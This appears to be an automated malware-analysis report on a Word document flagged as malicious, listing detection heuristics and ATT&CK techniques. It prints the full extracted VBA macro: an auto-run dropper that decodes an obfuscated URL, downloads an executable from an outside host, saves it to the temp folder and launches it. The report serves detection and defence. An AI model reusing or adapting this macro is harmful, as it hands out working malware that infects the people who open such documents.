MALICIOUS
230
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1105 Ingress Tool Transfer
The sample contains VBA macros, specifically a Document_Open macro that utilizes CreateObject to instantiate scripting.filesystemobject and microsoft.xmlhttp. This indicates an attempt to download and save a file to disk, likely a second-stage payload. The presence of these objects and the critical heuristic 'OLE_VBA_HTTP_DROP_EXEC' strongly suggest malicious intent.
Heuristics 7
-
ClamAV: Doc.Malware.Generic-6988714-0 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Malware.Generic-6988714-0
-
VBA macros detected medium 4 related findings OLE_VBA_MACROSDocument contains VBA macro code
-
VBA downloads and writes a file to disk critical OLE_VBA_HTTP_DROP_EXECVBA reads an HTTP response body and writes it to disk (ADODB.Stream SaveToFile). Combined with the auto-exec/Shell paths this is a download-drop dropper even when the COM ProgIDs are built dynamically to evade keyword scanning.Matched line in script
YWQBWRYEVUOIVGNTKTMOCVURZYKUHKIOPXIJNSPEMVGPMHWCCBEVSVLRRZBDYLSOHXYJXZHMWDWQEOOCS = SCUWJWCZIHSDPLKPXFQKOBXMNEOQUPFKKJLXBETZZIJLHTBWPGHRGIPNFLXXMQWKUKVFRFKHQITLQTRXGNRSWJGUVMP.responseBody -
CreateObject call high OLE_VBA_CREATEOBJCreateObject callMatched line in script
Set QJRTUQDRHYWQBWRYEVUOIVGNTKTMOCVURZYKUHKIOPXIJNSPEMVGPMHWCCBEVSVLRRZBDYLSOHXYJXZHMWDWQEOOCSCUWJ = CreateObject("scripting.filesystemobject") -
VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXECCompiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
-
Document_Open macro low OLE_VBA_DOCOPENDocument_Open macroMatched line in script
Private Sub Document_Open() -
Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL http://schemas.openxmlformats.org/drawingml/2006/main Referenced by macro
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 5283 bytes |
SHA-256: 3c0fc820e82aea381dc38a22bb9ef53f18f99ff138303860884e2c550075042b |
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_Open()
Dim GUVMPYDXNLLKNGJMUIIPLMIUJYXOISOJQVNMGGTYFSDSENTNMJSQCTYCZGOPZBFRHWEUXHLGVTTSVNKOD
Dim YWQBWRYEVUOIVGNTKTMOCVURZYKUHKIOPXIJNSPEMVGPMHWCCBEVSVLRRZBDYLSOHXYJXZHMWDWQEOOCS
Dim WCZIHSDPLKPXFQKOBXMNEOQUPFKKJLXBETZZIJLHTBWPGHRGIPNFLXXMQWKUKVFRFKHQITLQTRXGNRSWJGUVMPYDXNLLKNG
Dim JMUIIPLMIUJYXOISOJQVNMGGTYFSDSENTNMJSQCTYCZGOPZBFRHWEUXHLGVTTSVNKODQJRTUQDRHYWQBWRYEVUOIVGNTKTMOCVU As Integer
JMUIIPLMIUJYXOISOJQVNMGGTYFSDSENTNMJSQCTYCZGOPZBFRHWEUXHLGVTTSVNKODQJRTUQDRHYWQBWRYEVUOIVGNTKTMOCVU = 1
Dim QJRTUQDRHYWQBWRYEVUOIVGNTKTMOCVURZYKUHKIOPXIJNSPEMVGPMHWCCBEVSVLRRZBDYLSOHXYJXZHMWDWQEOOCSCUWJ
Set QJRTUQDRHYWQBWRYEVUOIVGNTKTMOCVURZYKUHKIOPXIJNSPEMVGPMHWCCBEVSVLRRZBDYLSOHXYJXZHMWDWQEOOCSCUWJ = CreateObject("scripting.filesystemobject")
Set WCZIHSDPLKPXFQKOBXMNEOQUPFKKJLXBETZZIJLHTBWPGHRGIPNFLXXMQWKUKVFRFKHQITLQTRXGNRSWJGUVMPYDXNLLKNG = QJRTUQDRHYWQBWRYEVUOIVGNTKTMOCVURZYKUHKIOPXIJNSPEMVGPMHWCCBEVSVLRRZBDYLSOHXYJXZHMWDWQEOOCSCUWJ.GetSpecialFolder(2)
Dim SCUWJWCZIHSDPLKPXFQKOBXMNEOQUPFKKJLXBETZZIJLHTBWPGHRGIPNFLXXMQWKUKVFRFKHQITLQTRXGNRSWJGUVMP
Set SCUWJWCZIHSDPLKPXFQKOBXMNEOQUPFKKJLXBETZZIJLHTBWPGHRGIPNFLXXMQWKUKVFRFKHQITLQTRXGNRSWJGUVMP = CreateObject("microsoft.xmlhttp")
Dim CUWJWCZIHSDPLKPXFQKOBXMNEOQUPFKKJLXBETZZIJLHTBWPGHRGIPNFLXXMQWKUKVFRFKHQITLQTRXGNRSWJGUVMPYDXNLLKNG
Dim ZTNBMSYQYRTHBZWGEPBMPNTUDNOSXUKRBLURMCHHGJBXCQWWFGIEQXUMDEODFMRCICVJTTHXHZCPCIFNMXIUQPUDKVPTGD
Set ZTNBMSYQYRTHBZWGEPBMPNTUDNOSXUKRBLURMCHHGJBXCQWWFGIEQXUMDEODFMRCICVJTTHXHZCPCIFNMXIUQPUDKVPTGD = CreateObject("Shell.Application")
CUWJWCZIHSDPLKPXFQKOBXMNEOQUPFKKJLXBETZZIJLHTBWPGHRGIPNFLXXMQWKUKVFRFKHQITLQTRXGNRSWJGUVMPYDXNLLKNG = WCZIHSDPLKPXFQKOBXMNEOQUPFKKJLXBETZZIJLHTBWPGHRGIPNFLXXMQWKUKVFRFKHQITLQTRXGNRSWJGUVMPYDXNLLKNG + WEUXHLGVTTSVNKODQJRTUQDRHYWQBWRYEVUOIVGNTKTMOCVURZYKUHKIOPXIJNSPEMVGPMHWCCBEVSVLRRZBDYLSOHXYJXZ("]FDWHDXFKC/fyf")
SCUWJWCZIHSDPLKPXFQKOBXMNEOQUPFKKJLXBETZZIJLHTBWPGHRGIPNFLXXMQWKUKVFRFKHQITLQTRXGNRSWJGUVMP.Open "GET", WEUXHLGVTTSVNKODQJRTUQDRHYWQBWRYEVUOIVGNTKTMOCVURZYKUHKIOPXIJNSPEMVGPMHWCCBEVSVLRRZBDYLSOHXYJXZ("iuuq;00dmpve/yfopsjt/gs0qvuuz/fyf"), False
SCUWJWCZIHSDPLKPXFQKOBXMNEOQUPFKKJLXBETZZIJLHTBWPGHRGIPNFLXXMQWKUKVFRFKHQITLQTRXGNRSWJGUVMP.send
YWQBWRYEVUOIVGNTKTMOCVURZYKUHKIOPXIJNSPEMVGPMHWCCBEVSVLRRZBDYLSOHXYJXZHMWDWQEOOCS = SCUWJWCZIHSDPLKPXFQKOBXMNEOQUPFKKJLXBETZZIJLHTBWPGHRGIPNFLXXMQWKUKVFRFKHQITLQTRXGNRSWJGUVMP.responseBody
If SCUWJWCZIHSDPLKPXFQKOBXMNEOQUPFKKJLXBETZZIJLHTBWPGHRGIPNFLXXMQWKUKVFRFKHQITLQTRXGNRSWJGUVMP.Status = 200 Then
Set GUVMPYDXNLLKNGJMUIIPLMIUJYXOISOJQVNMGGTYFSDSENTNMJSQCTYCZGOPZBFRHWEUXHLGVTTSVNKOD = CreateObject("adodb.stream")
GUVMPYDXNLLKNGJMUIIPLMIUJYXOISOJQVNMGGTYFSDSENTNMJSQCTYCZGOPZBFRHWEUXHLGVTTSVNKOD.Open
GUVMPYDXNLLKNGJMUIIPLMIUJYXOISOJQVNMGGTYFSDSENTNMJSQCTYCZGOPZBFRHWEUXHLGVTTSVNKOD.Type = JMUIIPLMIUJYXOISOJQVNMGGTYFSDSENTNMJSQCTYCZGOPZBFRHWEUXHLGVTTSVNKODQJRTUQDRHYWQBWRYEVUOIVGNTKTMOCVU
GUVMPYDXNLLKNGJMUIIPLMIUJYXOISOJQVNMGGTYFSDSENTNMJSQCTYCZGOPZBFRHWEUXHLGVTTSVNKOD.Write YWQBWRYEVUOIVGNTKTMOCVURZYKUHKIOPXIJNSPEMVGPMHWCCBEVSVLRRZBDYLSOHXYJXZHMWDWQEOOCS
GUVMPYDXNLLKNGJMUIIPLMIUJYXOISOJQVNMGGTYFSDSENTNMJSQCTYCZGOPZBFRHWEUXHLGVTTSVNKOD.SaveToFile CUWJWCZIHSDPLKPXFQKOBXMNEOQUPFKKJLXBETZZIJLHTBWPGHRGIPNFLXXMQWKUKVFRFKHQITLQTRXGNRSWJGUVMPYDXNLLKNG, JMUIIPLMIUJYXOISOJQVNMGGTYFSDSENTNMJSQCTYCZGOPZBFRHWEUXHLGVTTSVNKODQJRTUQDRHYWQBWRYEVUOIVGNTKTMOCVU + JMUIIPLMIUJYXOISOJQVNMGGTYFSDSENTNMJSQCTYCZGOPZBFRHWEUXHLGVTTSVNKODQJRTUQDRHYWQBWRYEVUOIVGNTKTMOCVU
GUVMPYDXNLLKNGJMUIIPLMIUJYXOISOJQVNMGGTYFSDSENTNMJSQCTYCZGOPZBFRHWEUXHLGVTTSVNKOD.Close
End If
ZTNBMSYQYRTHBZWGEPBMPNTUDNOSXUKRBLURMCHHGJBXCQWWFGIEQXUMDEODFMRCICVJTTHXHZCPCIFNMXIUQPUDKVPTGD.Open (CUWJWCZIHSDPLKPXFQKOBXMNEOQUPFKKJLXBETZZIJLHTBWPGHRGIPNFLXXMQWKUKVFRFKHQITLQTRXGNRSWJGUVMPYDXNLLKNG)
End Sub
Private Function WEUXHLGVTTSVNKODQJRTUQDRHYWQBWRYEVUOIVGNTKTMOCVURZYKUHKIOPXIJNSPEMVGPMHWCCBEVSVLRRZBDYLSOHXYJXZ(HMWDWQEOOCSCUWJWCZIHSDPLKPXFQKOBXMNEOQUPFKKJLXBETZZIJLHTBWPGHRGIPNFLXXMQWKUKVFRFKHQIT)
For JMUIIPLMIUJYXOISOJQVNMGGTYFSDSENTNMJSQCTYCZGOPZBFRHWEUXHLGVTTSVNKODQJRTUQDRHYWQBWRYEVUOIVG = 1 To Len(HMWDWQEOOCSCUWJWCZIHSDPLKPXFQKOBXMNEOQUPFKKJLXBETZZIJLHTBWPGHRGIPNFLXXMQWKUKVFRFKHQIT)
NTKTMOCVURZYKUHKIOPXIJNSPEMVGPMHWCCBEVSVLRRZBDYLSOHXYJXZHMWDWQEOOCSCUWJWCZIHSDPLKPXFQKOB = NTKTMOCVURZYKUHKIOPXIJNSPEMVGPMHWCCBEVSVLRRZBDYLSOHXYJXZHMWDWQEOOCSCUWJWCZIHSDPLKPXFQKOB & Chr(Asc(Mid(HMWDWQEOOCSCUWJWCZIHSDPLKPXFQKOBXMNEOQUPFKKJLXBETZZIJLHTBWPGHRGIPNFLXXMQWKUKVFRFKHQIT, JMUIIPLMIUJYXOISOJQVNMGGTYFSDSENTNMJSQCTYCZGOPZBFRHWEUXHLGVTTSVNKODQJRTUQDRHYWQBWRYEVUOIVG, 1)) - 1)
Next JMUIIPLMIUJYXOISOJQVNMGGTYFSDSENTNMJSQCTYCZGOPZBFRHWEUXHLGVTTSVNKODQJRTUQDRHYWQBWRYEVUOIVG
WEUXHLGVTTSVNKODQJRTUQDRHYWQBWRYEVUOIVGNTKTMOCVURZYKUHKIOPXIJNSPEMVGPMHWCCBEVSVLRRZBDYLSOHXYJXZ = NTKTMOCVURZYKUHKIOPXIJNSPEMVGPMHWCCBEVSVLRRZBDYLSOHXYJXZHMWDWQEOOCSCUWJWCZIHSDPLKPXFQKOB
End Function
Attribute VB_Name = "NewMacros"
Sub doc()
'
' doc Macro
'
'
End Sub
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.